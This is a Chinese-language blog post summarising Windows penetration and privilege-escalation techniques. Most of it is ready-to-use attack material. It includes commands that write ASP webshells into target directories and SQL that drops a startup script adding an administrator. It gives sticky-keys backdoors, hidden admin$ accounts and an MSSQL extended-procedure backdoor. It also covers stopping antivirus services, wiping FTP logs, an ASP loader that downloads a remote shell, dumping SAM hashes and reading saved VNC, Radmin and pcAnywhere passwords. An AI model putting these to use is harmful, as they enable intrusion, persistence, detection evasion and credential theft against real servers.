WINDOWS渗透与提权总结(1)

时间:2022-05-30 03:43:03

旁站路径问题:

1、读网站配置。

2、用以下VBS:

01 On Error Resume Next
02  
03 If (LCase(Right(WScript.Fullname, 11)) = "wscript.exe") Then
04  
05 MsgBox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs", 4096, "Lilo"
06  
07 WScript.Quit
08  
09 End If
10  
11 Set objservice = GetObject("IIS://LocalHost/W3SVC")
12  
13 For Each obj3w In objservice
14  
15 If IsNumeric(obj3w.Name) Then
16  
17 Set OService = GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
18  
19 Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
20  
21 If Err <> 0 Then WScript.Quit (1)
22  
23 WScript.Echo Chr(10) & "[" & OService.ServerComment & "]"
24  
25 For Each Binds In OService.ServerBindings
26  
27 Web = "{ " & Replace(Binds, ":", " } { ") & " }"
28  
29 WScript.Echo Replace(Split(Replace(Web, " ", ""), "}{")(2), "}", "")
30  
31 Next
32  
33 WScript.Echo "Path            : " & VDirObj.Path
34  
35 End If
36  
37 Next

3、iis_spy 列举(注:需要支持ASPX,反IISSPY的方法:将 activeds.dll,activeds.tlb 降权)。

4、得到目标站目录,不能直接跨的。可以通过“echo  ^<%execute(request(“cmd”))%^> >>X:\目标目录\X.asp”或者“copy 脚本文件 X:\目标目录\X.asp”像目标目录写入webshell,或者还可以试试type命令。

网站可能目录(注:一般是虚拟主机类):

1 data/htdocs.网站/网站/

CMD 下操作 VPN 相关知识、资料:

#允许administrator拨入该VPN:

1 netsh ras set user administrator permit

#禁止administrator拨入该VPN:

1 netsh ras set user administrator deny

#查看哪些用户可以拨入VPN:

1 netsh ras show user

#查看VPN分配IP的方式:

1 netsh ras ip show config

#使用地址池的方式分配IP:

1 netsh ras ip set addrassign method = pool

#地址池的范围是从192.168.3.1到192.168.3.254:

1 netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254

Cmd、Dos 命令行下添加 SQL 用户的方法:

需要有管理员权限,在命令下先建立一个“c:\test.qry”文件,内容如下:

1 exec master.dbo.sp_addlogin test,123
2  
3 EXEC sp_addsrvrolemember 'test, 'sysadmin'

然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法:

在删掉了 net.exe 和不用 adsi 之外,新的加用户的方法。代码如下:

js:

1 var o=new ActiveXObject( "Shell.Users" );
2  
3 z=o.create("test") ;
4  
5 z.changePassword("123456","")
6  
7 z.setting("AccountType")=3;
8  
9  vbs:
1 Set o=CreateObject( "Shell.Users" )
2  
3 Set z=o.create("test")
4  
5 z.changePassword "123456",""
6  
7 z.setting("AccountType")=3

Cmd 访问控制权限控制:

命令如下:

1 cacls c: /e /t /g everyone:F           #c盘everyone权限
2  
3 cacls "目录" /d everyone               #everyone不可读,包括admin

备注:

反制方法,在文件夹安全设置里将 Everyone 设定为不可读,如果没有安全性选项:工具 – 文件夹选项 – 使用简单的共享去掉即可。

3389 相关,以下配合PR更好:

a、防火墙TCP/IP筛选.(关闭:net stop policyagent & net stop sharedaccess)

b、内网环境(lcx.exe)

c、终端服务器超出了最大允许连接(XP 运行:mstsc /admin;2003 运行:mstsc /console)

1.查询终端端口:

1 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

2.开启XP&2003终端服务:

1 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

3.更改终端端口为2008(十六进制为:0x7d8):

1 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
1 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f

4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制:

1 REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled :@  xpsp2res.dll,-22009 /f
1 create table a (cmd text);
2  
3 insert into a values ("set wshshell=createobject (""wscript.shell"")");
4  
5 insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
6  
7 insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");
8  
9 select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

BS马的PortMap功能,类似LCX做转发。若果支持ASPX,用这个转发会隐蔽点。(注:一直忽略了在偏僻角落的那个功能)

关闭常见杀软(把杀软所在的文件的所有权限去掉):

处理变态诺顿企业版:

1 net stop "Symantec AntiVirus" /y
2  
3 net stop "Symantec AntiVirus Definition Watcher" /y
4  
5 net stop "Symantec Event Manager" /y
6  
7 net stop "System Event Notification" /y
8  
9 net stop "Symantec Settings Manager" /y

麦咖啡:

1 net stop "McAfee McShield"

Symantec病毒日志:

1 C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Endpoint Protection\Logs

Symantec病毒备份:

1 C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Endpoint Protection\Quarantine

Nod32病毒备份:

1 C:\Docume~1\Administrator\Local Settings\Application Data\ESET\ESET NOD32 Antivirus\Quarantine

Nod32移除密码保护:

1 删除“HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info\PackageID”即可

安装5次shift后门,沾滞键后门,替换SHIFT后门:

5次SHIFT,沾滞键后门:

1 copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
2  
3 copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
4  
5 copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y

替换SHIFT后门:

01 attrib c:\windows\system32\sethc.exe -h -r -s
02  
03 attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
04  
05 del c:\windows\system32\sethc.exe
06  
07 copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
08  
09 copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
10  
11 attrib c:\windows\system32\sethc.exe +h +r +s
12  
13 attrib c:\windows\system32\dllcache\sethc.exe +h +r +s

添加隐藏系统账号:

1、执行命令:“net user admin$ 123456 /add&net localgroup administrators admin$ /add”。

2、导出注册表SAM下用户的两个键值。

3、在用户管理界面里的 admin$ 删除,然后把备份的注册表导回去。

4、利用 Hacker Defender 把相关用户注册表隐藏。

安装 MSSQL 扩展后门:

1 USE master;
2  
3 EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
4  
5 GRANT exec On xp_helpsystem TO public;

处理服务器MSFTP日志:

在“C:\WINNT\system32\LogFiles\MSFTPSVC1\”下有 ex011120.log / ex011121.log / ex011124.log 三个文件,直接删除 ex0111124.log 不成功,显示“原文件…正在使用”。

当然可以直接删除“ex011120.log / ex011121.log”。然后用记事本打开“ex0111124.log”,删除里面的一些内容后,保存,覆盖退出,成功。

当停止“msftpsvc”服务后可直接删除“ex011124.log”。

MSSQL查询分析器连接记录清除:

MSSQL 2000 位于注册表如下:

1 HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers

找到接接过的信息删除。

MSSQL 2005 是在:

1 C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat

防BT系统拦截技巧,可以使用远程下载shell:

01 <%
02  
03 Sub eWebEditor_SaveRemoteFile(s_LocalFileName, s_RemoteFileUrl)
04  
05 Dim Ads, Retrieval, GetRemoteData
06  
07 On Error Resume Next
08  
09 Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
10  
11 With Retrieval
12  
13 .Open "Get", s_RemoteFileUrl, False, "", ""
14  
15 .Send
16  
17 GetRemoteData = .ResponseBody
18  
19 End With
20  
21 Set Retrieval = Nothing
22  
23 Set Ads = Server.CreateObject("Adodb.Stream")
24  
25 With Ads
26  
27 .Type = 1
28  
29 .Open
30  
31 .Write GetRemoteData
32  
33 .SaveToFile Server.MapPath(s_LocalFileName), 2
34  
35 .Cancel()
36  
37 .Close()
38  
39 End With
40  
41 Set Ads = Nothing
42  
43 End Sub
44  
45 eWebEditor_SaveRemoteFile "your shell's name", "your shell'urL"
46  
47 %>

防BT系统拦截技巧,可以使用远程下载shell,也达到了隐藏自身的效果,也可以做为超隐蔽的后门,神马的免杀webshell,用服务器安全工具一扫通通挂掉了。

VNC、Radmin、PcAnywhere 的提权方法:

首先利用 shell 读取 vnc 保存在注册表中的密文,然后再使用工具VNC4X破解。

注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password

Radmin 默认端口是4899,先获取密码和端口,如下位置:

1 HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter //默认密码注册表位置
2  
3 HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置

然后用HASH版连接。

如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有 PcAnywhere 同时保存密码文件的目录是允许我们的IUSER权限访问,我们可以下载这个CIF文件到本地破解,再通过 PcAnywhere 从本机登陆服务器。

保存密码的CIF文件,不是位于PcAnywhere的安装目录,而且位于安装PcAnywhere所安装盘的:

1 “\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\”

如果PcAnywhere安装在“D:\program\”文件夹下,那么PcAnywhere的密码文件就保存在:“D:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\”文件夹下。

WinWebMail 提权加用户:

WinWebMail目录下的web必须设置everyone权限可读可写,在开始程序里,找到WinWebMail快捷方式,接下来,看路径,访问“路径\web”传 shell,访问shell后,权限是system,直接放远控进启动项,等待下次重启。

没有删cmd组件的可以直接加用户,7i24的web目录也是可写,权限为administrator。

1433 SA权限构建注入点:

01 <%
02  
03 strSQLServerName = "服务器ip"
04  
05 strSQLDBUserName = "数据库帐号"
06  
07 strSQLDBPassword = "数据库密码"
08  
09 strSQLDBName = "数据库名称"
10  
11 Set conn = server.CreateObject("ADODB.Connection")
12  
13 strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
14  
15 conn.open strCon
16  
17 Dim rs, strSQL, id
18  
19 Set rs = server.CreateObject("ADODB.recordset")
20  
21 id = request("id")
22  
23 strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
24  
25 rs.Close
26  
27 %>

提权篇:

先执行systeminfo

token 漏洞补丁号 KB956572

Churrasco          kb952004

命令行RAR打包~~·

1 rar a -k -r -s -m3 c:\1.rar c:\folder

收集系统信息的脚本:

01 for window:
02  
03 @echo off
04  
05 echo #########system info collection
06  
07 systeminfo
08  
09 ver
10  
11 hostname
12  
13 net user
14  
15 net localgroup
16  
17 net localgroup administrators
18  
19 net user guest
20  
21 net user administrator
22  
23 echo #######at- with   atq#####
24  
25 echo schtask /query
26  
27 echo
28  
29 echo ####task-list#############
30  
31 tasklist /svc
32  
33 echo
34  
35 echo ####net-work infomation
36  
37 ipconfig/all
38  
39 route print
40  
41 arp -a
42  
43 netstat -anipconfig /displaydns
44  
45 echo
46  
47 echo #######service############
48  
49 sc query type= service state= all
50  
51 echo #######file-##############
52  
53 cd \
54  
55 tree -F

gethash 不免杀怎么获取本机 hash:

首先导出注册表:

1 Windows 2000:regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"
1 Windows 2003:reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg

注意权限问题,一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问(界面登录的需要注意,system权限可以忽略)。

接下来就简单了,把导出的注册表,down 到本机,修改注册表头导入本机,然后用抓去hash的工具抓本地用户就OK了

hash 抓完了记得把自己的账户密码改过来哦!

当 GetHashes 获取不到 hash 时,可以用冰刃把 sam 复制到桌面。据我所知,某人是用这个方法虚拟机多次因为不知道密码而进不去!~